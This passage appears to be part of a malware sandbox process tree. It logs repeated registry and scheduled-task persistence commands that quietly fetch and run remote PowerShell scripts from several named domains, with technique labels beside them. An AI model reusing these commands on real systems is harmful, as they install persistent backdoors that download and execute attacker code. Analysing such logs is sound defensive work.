                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
                                                                                                                                    2⤵
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    PID:6708
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
                                                                                                                                      3⤵
                                                                                                                                      • Modifies WinLogon for persistence
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:5860
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
                                                                                                                                    2⤵
                                                                                                                                      PID:6768
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
                                                                                                                                        3⤵
                                                                                                                                        • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                        PID:3100
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /sc onlogon /f
                                                                                                                                      2⤵
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:6884
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /sc onlogon /f
                                                                                                                                        3⤵
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:4168
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                      2⤵
                                                                                                                                        PID:6980
                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                          schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                          3⤵
                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                          PID:6044
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
                                                                                                                                        2⤵
                                                                                                                                          PID:7060
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
                                                                                                                                            3⤵
                                                                                                                                            • Adds Run key to start application
                                                                                                                                            PID:5072
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
                                                                                                                                          2⤵
                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                          PID:6684
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
                                                                                                                                            3⤵
                                                                                                                                            • Adds Run key to start application
                                                                                                                                            PID:5480
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
                                                                                                                                          2⤵
                                                                                                                                            PID:5576
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
                                                                                                                                              3⤵
                                                                                                                                              • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                              PID:6320
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
                                                                                                                                            2⤵
                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                            PID:6160
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
                                                                                                                                              3⤵
                                                                                                                                              • Modifies WinLogon for persistence
                                                                                                                                              PID:6784
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
                                                                                                                                            2⤵
                                                                                                                                              PID:656
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
                                                                                                                                                3⤵
                                                                                                                                                • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                PID:6376
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /sc onlogon /f
                                                                                                                                              2⤵
                                                                                                                                                PID:1320
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /sc onlogon /f
                                                                                                                                                  3⤵
                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                  PID:6764
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                2⤵
                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                PID:6772
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                  3⤵
                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                  PID:6384
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
                                                                                                                                                2⤵
                                                                                                                                                  PID:6516
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
                                                                                                                                                    3⤵
                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                    PID:4624
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
                                                                                                                                                  2⤵
                                                                                                                                                    PID:6292
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
                                                                                                                                                      3⤵
                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                      PID:5352
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
                                                                                                                                                    2⤵
                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                    PID:7160
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
                                                                                                                                                      3⤵
                                                                                                                                                      • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                      PID:7048
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
                                                                                                                                                    2⤵
                                                                                                                                                      PID:6224
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
                                                                                                                                                        3⤵
                                                                                                                                                        • Modifies WinLogon for persistence
                                                                                                                                                        PID:2268
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
                                                                                                                                                      2⤵
                                                                                                                                                        PID:4676
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
                                                                                                                                                          3⤵
                                                                                                                                                          • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                          PID:7076
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /sc onlogon /f
                                                                                                                                                        2⤵
                                                                                                                                                          PID:4164
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /sc onlogon /f
                                                                                                                                                            3⤵
                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                            PID:6320
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                          2⤵
                                                                                                                                                            PID:5816
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                              3⤵
                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                              PID:5652
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
                                                                                                                                                            2⤵
                                                                                                                                                              PID:5860
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
                                                                                                                                                                3⤵
                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                PID:6640
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
                                                                                                                                                              2⤵
                                                                                                                                                                PID:6300
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                  PID:5280
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
                                                                                                                                                                2⤵
                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                PID:6636
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                  PID:6856
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:6124
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Modifies WinLogon for persistence
                                                                                                                                                                    PID:6420
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:6088
                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:3564
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                        PID:1072
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                      PID:7024
                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                        PID:6872
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                      PID:6572
                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                        PID:3436
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:5176
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                          PID:6540
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                        PID:8
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                          PID:5128
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:6428
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                            PID:5984
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:6344
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Modifies WinLogon for persistence
                                                                                                                                                                              PID:4764
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:3892
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                PID:6372
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:6596
                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                  schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:3680
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:2260
                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                    PID:6184
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
